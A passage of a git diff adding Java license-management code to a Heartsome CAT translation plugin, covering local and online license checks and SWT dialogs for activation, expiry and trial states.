+ + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.EXCEPTION_INT15, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), ret, null, v.getLicenseId()); + dialog.open(); + System.exit(0); + } + }); + } + } catch (Exception e) { + e.printStackTrace(); + if (v.isTrial()) { + Throwable t = e; + while(t.getCause() != null) { + t = t.getCause(); + } + if (t instanceof java.security.cert.CertificateException) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.EXCEPTION_INT16, null, v.getLicenseId()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.EXCEPTION_INT17, null, v.getLicenseId()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } + } + } + } else if (Constants.STATE_INVALID == re) { + FileUtils.removeFile(); + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_INVALID, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (Constants.EXCEPTION_INT15 == re + || Constants.EXCEPTION_INT1 == re || Constants.EXCEPTION_INT2 == re + || Constants.EXCEPTION_INT3 == re || Constants.EXCEPTION_INT4 == re) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (Constants.EXCEPTION_INT14 == re) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, v.getLicenseId()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, v.getLicenseId()); + dialog.open(); + System.exit(0); + } + }); + } + } else { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseAgreementDialog dialog = new LicenseAgreementDialog(Display.getDefault().getActiveShell()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } + } + }).start(); + + } + + public static String[] load(IProgressMonitor monitor) { + String[] str = new String[3]; + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + + if (FileUtils.isExsit()) { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + LocalAuthorizationValidator v = new LocalAuthorizationValidator(); + int re = v.checkLicense(); + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(2); + } + if (Constants.STATE_VALID == re) { + try { + str[2] = v.getLicenseId(); + int ret = ServiceUtil.check(v.getLicenseId(), v.getMacCode(), v.getInstall()); + str[0] = String.valueOf(ret); + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(2); + } + String date = ServiceUtil.getTempEndDate(v.getLicenseId()); + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(2); + } + str[1] = date; + return str; + } catch (Exception e) { + e.printStackTrace(); + if (v.isTrial()) { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + Throwable t = e; + while(t.getCause() != null) { + t = t.getCause(); + } + + if (t instanceof java.security.cert.CertificateException) { + str[0] = String.valueOf(Constants.EXCEPTION_INT16); + } else { + str[0] = String.valueOf(Constants.EXCEPTION_INT17); + } + return str; + } else { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + str[0] = String.valueOf(Constants.STATE_VALID); + return str; + } + } + } else if (Constants.STATE_INVALID == re) { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + str[0] = String.valueOf(Constants.STATE_INVALID); + return str; + } else { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + str[2] = v.getLicenseId(); + str[0] = String.valueOf(re); + return str; + } + } else { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + + str[0] = String.valueOf(Constants.STATE_FILE_NOT_EXSIT); + return str; + } + } + + public static void showDialog(String[] str) { + int re = Integer.parseInt(str[0]); + if (Constants.STATE_VALID == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_VALID, str[1], str[2]); + dialog.open(); + } else if (Constants.STATE_INVALID == re) { + FileUtils.removeFile(); + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_INVALID, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } else if (Constants.STATE_EXPIRED == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_EXPIRED, str[1], null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } else if (Constants.EXCEPTION_INT16 == re || Constants.EXCEPTION_INT17 == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, str[2]); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } else if (Constants.CANCEL == re) { + return; + } else if (Constants.STATE_FILE_NOT_EXSIT == re) { + LicenseAgreementDialog dialog = new LicenseAgreementDialog(Display.getDefault().getActiveShell()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } else if (Constants.EXCEPTION_INT15 == re + || Constants.EXCEPTION_INT1 == re || Constants.EXCEPTION_INT2 == re + || Constants.EXCEPTION_INT3 == re || Constants.EXCEPTION_INT4 == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } else if (Constants.EXCEPTION_INT14 == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, str[2]); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } else { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, str[2]); + dialog.open(); + System.exit(0); + } + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/TeSystemResourceUtil.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/TeSystemResourceUtil.java new file mode 100644 index 0000000..f8e2283 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/TeSystemResourceUtil.java @@ -0,0 +1,318 @@ +package net.heartsome.cat.ts.help; + +import java.io.File; + +import net.heartsome.license.InvalidateDialog; +import net.heartsome.license.LicenseAgreementDialog; +import net.heartsome.license.LicenseManageDialog; +import net.heartsome.license.LocalAuthorizationValidator; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.utils.DateUtils; +import net.heartsome.license.utils.FileUtils; +import net.heartsome.license.webservice.ServiceUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.swt.widgets.Display; + +public class TeSystemResourceUtil { + + public static String dateTemp; + + private static LocalAuthorizationValidator v = new LocalAuthorizationValidator(); + private static int re; + private static boolean isExsit = false; + private static String date; + + public static void beforeload() { + isExsit = FileUtils.isExsit(); + if (isExsit) { + re = v.checkLicense(); + } + } + + public static void load(boolean isShow) { + if (!isExsit) { + return; + } + if (Constants.STATE_VALID == re) { + try { + int reRemote = ServiceUtil.check(v.getLicenseId(), v.getMacCode(), v.getInstall()); + date = ServiceUtil.getTempEndDate(v.getLicenseId()); + if (reRemote == Constants.STATE_INVALID) { + FileUtils.removeFile(); + } + re = reRemote; + } catch (Exception e) { + e.printStackTrace(); + if (v.isTrial()) { + Throwable t = e; + while (t.getCause() != null) { + t = t.getCause(); + } + if (t instanceof java.security.cert.CertificateException) { + re = Constants.EXCEPTION_INT16; + } else { + re = Constants.EXCEPTION_INT17; + } + } + } + } + } + + public static void load() { + new Thread(new Runnable() { + public void run() { + if (DateUtils.getDate().equals(dateTemp)) { + return; + } else { + dateTemp = DateUtils.getDate(); + } + + if (FileUtils.isExsit()) { + final LocalAuthorizationValidator v = new LocalAuthorizationValidator(); + re = v.checkLicense(); + if (Constants.STATE_VALID == re) { + try { + int reRemote = ServiceUtil.check(v.getLicenseId(), v.getMacCode(), v.getInstall()); + date = ServiceUtil.getTempEndDate(v.getLicenseId()); + if (reRemote == Constants.STATE_INVALID) { + FileUtils.removeFile(); + } + re = reRemote; + } catch (Exception e) { + e.printStackTrace(); + if (v.isTrial()) { + Throwable t = e; + while (t.getCause() != null) { + t = t.getCause(); + } + if (t instanceof java.security.cert.CertificateException) { + re = Constants.EXCEPTION_INT16; + } else { + re = Constants.EXCEPTION_INT17; + } + } + } + } + } + } + }).start(); + + } + + public static String[] load(IProgressMonitor monitor) { + String[] str = new String[3]; + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + + if (FileUtils.isExsit()) { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + LocalAuthorizationValidator v = new LocalAuthorizationValidator(); + int re = v.checkLicense(); + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(2); + } + if (Constants.STATE_VALID == re) { + try { + str[2] = v.getLicenseId(); + int ret = ServiceUtil.check(v.getLicenseId(), v.getMacCode(), v.getInstall()); + str[0] = String.valueOf(ret); + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(2); + } + String date = ServiceUtil.getTempEndDate(v.getLicenseId()); + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(2); + } + str[1] = date; + return str; + } catch (Exception e) { + e.printStackTrace(); + if (v.isTrial()) { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + Throwable t = e; + while (t.getCause() != null) { + t = t.getCause(); + } + + if (t instanceof java.security.cert.CertificateException) { + str[0] = String.valueOf(Constants.EXCEPTION_INT16); + } else { + str[0] = String.valueOf(Constants.EXCEPTION_INT17); + } + return str; + } else { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + str[0] = String.valueOf(Constants.STATE_VALID); + return str; + } + } + } else if (Constants.STATE_INVALID == re) { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + str[0] = String.valueOf(Constants.STATE_INVALID); + return str; + } else { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + str[2] = v.getLicenseId(); + str[0] = String.valueOf(re); + return str; + } + } else { + if (monitor != null) { + if (monitor.isCanceled()) { + str[0] = String.valueOf(Constants.CANCEL); + return str; + } + monitor.worked(1); + } + + str[0] = String.valueOf(Constants.STATE_FILE_NOT_EXSIT); + return str; + } + } + + public static void showDialog(String[] str) { + int re = Integer.parseInt(str[0]); + if (Constants.STATE_VALID == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), + Constants.STATE_VALID, str[1], str[2]); + dialog.open(); + } else if (Constants.STATE_INVALID == re) { + FileUtils.removeFile(); + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), + Constants.STATE_INVALID, null, null); + dialog.open(); + } else if (Constants.STATE_EXPIRED == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), + Constants.STATE_EXPIRED, str[1], null); + dialog.open(); + } else if (Constants.EXCEPTION_INT16 == re || Constants.EXCEPTION_INT17 == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, + str[2]); + dialog.open(); + } else if (Constants.CANCEL == re) { + return; + } else if (Constants.STATE_FILE_NOT_EXSIT == re) { + LicenseAgreementDialog dialog = new LicenseAgreementDialog(Display.getDefault().getActiveShell()); + dialog.open(); + } else if (Constants.EXCEPTION_INT15 == re || Constants.EXCEPTION_INT1 == re || Constants.EXCEPTION_INT2 == re + || Constants.EXCEPTION_INT3 == re || Constants.EXCEPTION_INT4 == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, null); + dialog.open(); + } else if (Constants.EXCEPTION_INT14 == re) { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, + str[2]); + dialog.open(); + } else { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, + str[2]); + dialog.open(); + } + } + + public static boolean checkSystemResource() { + if (re == Constants.STATE_VALID) { + return true; + } + re = re == Constants.STATE_FILE_NOT_EXSIT ? Constants.STATE_NOT_ACTIVATED : re; + return false; + } + + public static void checkResult() { + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + // TODO Auto-generated method stub + + if (re == Constants.STATE_NOT_ACTIVATED) { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, null, null); + dlg.open(); + } else if (re == Constants.STATE_INVALID) { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, null, null); + dlg.open(); + } else if (re == Constants.STATE_EXPIRED) { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, date, v + .getLicenseId()); + dlg.open(); + } else if (re == Constants.EXCEPTION_INT16 || re == Constants.EXCEPTION_INT17) { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, null, null); + dlg.open(); + } else if (re == Constants.EXCEPTION_INT14) { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, null, v + .getLicenseId()); + dlg.open(); + } else if (re == Constants.EXCEPTION_INT15) { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, null, null); + dlg.open(); + } else if (re == Constants.EXCEPTION_INT1 || re == Constants.EXCEPTION_INT2 + || re == Constants.EXCEPTION_INT3 || re == Constants.EXCEPTION_INT4) { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, null, null); + dlg.open(); + } else { + InvalidateDialog dlg = new InvalidateDialog(Display.getDefault().getActiveShell(), re, date, v + .getLicenseId()); + dlg.open(); + } + } + }); + } + + public static boolean validateFile(File f) { + long l = f.length(); + if (l > 10240 && !checkSystemResource()) { + checkResult(); + if (!checkSystemResource()) { + return false; + } + } + return true; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/ActiveMethodDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/ActiveMethodDialog.java new file mode 100644 index 0000000..b403077 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/ActiveMethodDialog.java @@ -0,0 +1,168 @@ +package net.heartsome.license; + +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +/** + * 激活方å¼é€‰æ‹©å¯¹è¯æ¡† + * @author karl + * @version + * @since JDK1.6 + */ +public class ActiveMethodDialog extends HsAbstractHelpDilog { + + private Point p; + + /** + * 构造器 + * @param parentShell + */ + public ActiveMethodDialog(Shell parentShell) { + super(parentShell); + } + + /** + * 构造器 + * @param parentShell + * @param p + */ + public ActiveMethodDialog(Shell parentShell, Point p) { + super(parentShell); + this.p = p; + } + + @Override + protected Point getInitialLocation(Point initialSize) { + if (p == null) { + return super.getInitialLocation(initialSize); + } else { + return p; + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.CANCEL_ID, + Messages.getString("license.LicenseManageDialog.exitBtn"), true); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("license.LicenseManageDialog.title")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + + GridLayout layout = new GridLayout(); + layout.marginWidth = 10; + layout.marginTop = 5; + tparent.setLayout(layout); + + GridDataFactory.fillDefaults().grab(true, true).applyTo(tparent); + + Group groupActiveMethod = new Group(tparent, SWT.NONE); + groupActiveMethod.setText(Messages.getString("license.ActiveMethodDialog.activemethod")); + GridLayout groupLayout = new GridLayout(); + groupLayout.marginWidth = 20; + groupLayout.marginHeight = 20; + groupLayout.verticalSpacing = 10; + groupLayout.numColumns = 2; + groupActiveMethod.setLayout(groupLayout); + GridDataFactory.fillDefaults().grab(true, true).applyTo(groupActiveMethod); + + Button btnOnline = new Button(groupActiveMethod, SWT.NONE); + GridData btnData = new GridData(); + btnData.widthHint = 200; + btnData.heightHint = 40; + btnOnline.setLayoutData(btnData); + btnOnline.setText(Messages.getString("license.ActiveMethodDialog.activeonline")); + btnOnline.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + setReturnCode(OK); + Point p = getShell().getLocation(); + close(); + LicenseManageDialog dialog = new LicenseManageDialog(getShell(), Constants.STATE_NOT_ACTIVATED, null, null, true, p); + dialog.open(); + } + }); + + Label labelRecommend = new Label(groupActiveMethod, SWT.NONE); + labelRecommend.setText(Messages.getString("license.ActiveMethodDialog.recommend")); + + Label labelOnline = new Label(groupActiveMethod, SWT.WRAP); + labelOnline.setText(Messages.getString("license.ActiveMethodDialog.onlinemessage")); + GridData dataLabel = new GridData(); + dataLabel.horizontalSpan = 2; + dataLabel.widthHint = 450; + labelOnline.setLayoutData(dataLabel); + + Label labelSpace = new Label(groupActiveMethod, SWT.NONE); + GridData dataSpace = new GridData(); + dataSpace.horizontalSpan = 2; + dataSpace.heightHint = 20; + labelSpace.setLayoutData(dataSpace); + + Button btnOffline = new Button(groupActiveMethod, SWT.NONE); + GridData btnData1 = new GridData(); + btnData1.widthHint = 200; + btnData1.heightHint = 40; + btnData1.horizontalSpan = 2; + btnOffline.setLayoutData(btnData1); + btnOffline.setText(Messages.getString("license.ActiveMethodDialog.activeoffline")); + btnOffline.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + setReturnCode(OK); + Point p = getShell().getLocation(); + close(); + OfflineActiveDialog dialog = new OfflineActiveDialog(getShell(), p); + dialog.open(); + } + }); + + Label labelOffline = new Label(groupActiveMethod, SWT.WRAP); + labelOffline.setText(Messages.getString("license.ActiveMethodDialog.offlinemessage")); + labelOffline.setLayoutData(dataLabel); + + Label labelOffline1 = new Label(groupActiveMethod, SWT.WRAP); + labelOffline1.setText(Messages.getString("license.ActiveMethodDialog.offlinemessage1")); + GridData dataLabel1 = new GridData(); + dataLabel1.horizontalSpan = 2; + dataLabel1.widthHint = 450; + labelOffline1.setLayoutData(dataLabel1); + + return super.createDialogArea(parent); + } + + @Override + protected Point getInitialSize() { + return new Point(520, 470); + } + + /** (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch08.html#license_id"; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/CustomMessageDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/CustomMessageDialog.java new file mode 100644 index 0000000..081110e --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/CustomMessageDialog.java @@ -0,0 +1,179 @@ +package net.heartsome.license; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import net.heartsome.license.resource.Messages; + +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IconAndMessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.accessibility.AccessibleAdapter; +import org.eclipse.swt.accessibility.AccessibleEvent; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +public class CustomMessageDialog extends IconAndMessageDialog{ + + private String editionInput; + private String title; + private StyledText text; + private List> list = new ArrayList>(); + private Color red = Display.getDefault().getSystemColor(SWT.COLOR_RED); + + public CustomMessageDialog(Shell parentShell, String title, String message, + List> list, String editionInput) { + super(parentShell); + this.list = list; + this.title = title; + this.message = message; + this.editionInput = editionInput; + } + + @Override + protected void configureShell(Shell shell) { + super.configureShell(shell); + if (title != null) { + shell.setText(title); + } + } + + @Override + protected Control createDialogArea(Composite parent) { + createMessageArea(parent); + return super.createDialogArea(parent); + } + + @Override + protected Control createMessageArea(Composite composite) { + Image image = getImage(); + if (image != null) { + imageLabel = new Label(composite, SWT.NULL); + image.setBackground(imageLabel.getBackground()); + imageLabel.setImage(image); + addAccessibleListeners(imageLabel, image); + GridDataFactory.fillDefaults().align(SWT.CENTER, SWT.BEGINNING) + .applyTo(imageLabel); + } + // create message + if (message != null) { + text = new StyledText(composite, getMessageLabelStyle()); + text.setBackground(composite.getBackground()); + text.setText(message); + text.setEditable(false); + GridDataFactory + .fillDefaults() + .align(SWT.FILL, SWT.BEGINNING) + .grab(true, false) + .hint( + convertHorizontalDLUsToPixels(IDialogConstants.MINIMUM_MESSAGE_AREA_WIDTH), + SWT.DEFAULT).applyTo(text); + setStyle(); + } + return composite; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Button btnDownload = createButton(parent, -1, Messages.getString("license.CustomMessageDialog.download"), false); + btnDownload.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch(MessageFormat.format(Messages.getString("license.CustomMessageDialog.urlDownload"), + ProtectionFactory.getProduct(editionInput), ProtectionFactory.getPlatform(), ProtectionFactory.getVersion())); + } + + }); + + if (!"L".equals(System.getProperty("TSEdition"))) { + Button btnBuy = createButton(parent, -1, Messages.getString("license.LicenseManageDialog.link1"), false); + btnBuy.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch(Messages.getString("license.LicenseManageDialog.urlr8buy") + + "&PRODUCT=" + ProtectionFactory.getProduct() + "&PLATFORM=" + ProtectionFactory.getPlatform()); + } + + }); + } + + Button btnTrial = createButton(parent, -1, Messages.getString("license.LicenseManageDialog.link2"), false); + btnTrial.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch(Messages.getString("license.LicenseManageDialog.urlr8trial") + + "&PRODUCT=" + ProtectionFactory.getProduct() + "&PLATFORM=" + ProtectionFactory.getPlatform()); + } + + }); + + createButton(parent, IDialogConstants.OK_ID, Messages.getString("license.CustomMessageDialog.inputAgain"), + true).setFocus(); + } + + @Override + protected Image getImage() { + return getInfoImage(); + } + + private void addAccessibleListeners(Label label, final Image image) { + label.getAccessible().addAccessibleListener(new AccessibleAdapter() { + public void getName(AccessibleEvent event) { + final String accessibleMessage = getAccessibleMessageFor(image); + if (accessibleMessage == null) { + return; + } + event.result = accessibleMessage; + } + }); + } + + private String getAccessibleMessageFor(Image image) { + if (image.equals(getErrorImage())) { + return JFaceResources.getString("error");//$NON-NLS-1$ + } + + if (image.equals(getWarningImage())) { + return JFaceResources.getString("warning");//$NON-NLS-1$ + } + + if (image.equals(getInfoImage())) { + return JFaceResources.getString("info");//$NON-NLS-1$ + } + + if (image.equals(getQuestionImage())) { + return JFaceResources.getString("question"); //$NON-NLS-1$ + } + + return null; + } + + private void setStyle() { + for (HashMap map : list) { + StyleRange styleRange = new StyleRange(); + styleRange.start = map.get("start"); + styleRange.length = map.get("length"); + styleRange.fontStyle = SWT.BOLD; + styleRange.foreground = red; + text.setStyleRange(styleRange); + } + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/GetActiveKeyDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/GetActiveKeyDialog.java new file mode 100644 index 0000000..a8e839b --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/GetActiveKeyDialog.java @@ -0,0 +1,194 @@ +package net.heartsome.license; + +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.cat.ts.help.Activator; +import net.heartsome.license.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 获å–激活ç çš„对è¯æ¡† + * @author karl + * @version + * @since JDK1.6 + */ +public class GetActiveKeyDialog extends HsAbstractHelpDilog { + + private Text textActivekey; + private String activekey; + private Point p; + + protected GetActiveKeyDialog(Shell parentShell, String activekey) { + super(parentShell); + this.activekey = activekey; + } + + protected GetActiveKeyDialog(Shell parentShell, String activekey, Point p) { + super(parentShell); + this.activekey = activekey; + this.p = p; + } + + @Override + protected Point getInitialLocation(Point initialSize) { + if (p == null) { + return super.getInitialLocation(initialSize); + } else { + return p; + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + + Button nextBtn = getButton(IDialogConstants.OK_ID); + nextBtn.setText(Messages.getString("license.LicenseAgreementDialog.nextBtn")); + Button exitBtn = getButton(IDialogConstants.CANCEL_ID); + exitBtn.setText(Messages.getString("license.LicenseAgreementDialog.exitBtn")); + exitBtn.setFocus(); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + + GridLayout layout = new GridLayout(); + layout.marginWidth = 10; + layout.marginTop = 10; + tparent.setLayout(layout); + + GridDataFactory.fillDefaults().grab(true, true).applyTo(tparent); + + Composite compNav = new Composite(tparent, SWT.NONE); + GridLayout navLayout = new GridLayout(); + compNav.setLayout(navLayout); + + createNavigation(compNav); + + Group groupActivekey = new Group(tparent, SWT.NONE); + groupActivekey.setText(Messages.getString("license.GetActiveKeyDialog.activekey")); + GridDataFactory.fillDefaults().grab(true, true).applyTo(groupActivekey); + GridLayout layoutGroup = new GridLayout(2, false); + layoutGroup.marginWidth = 5; + layoutGroup.marginHeight = 20; + groupActivekey.setLayout(layoutGroup); + + StyledText text = new StyledText(groupActivekey, SWT.WRAP | SWT.READ_ONLY); + text.setBackground(text.getParent().getBackground()); + text.setText(Messages.getString("license.GetActiveKeyDialog.activemessage")); + GridData dataText = new GridData(); + dataText.horizontalSpan = 2; + dataText.widthHint = 470; + text.setLayoutData(dataText); + int start = Messages.getString("license.GetActiveKeyDialog.activemessage").indexOf( + Messages.getString("license.GetActiveKeyDialog.ts")); + int length = 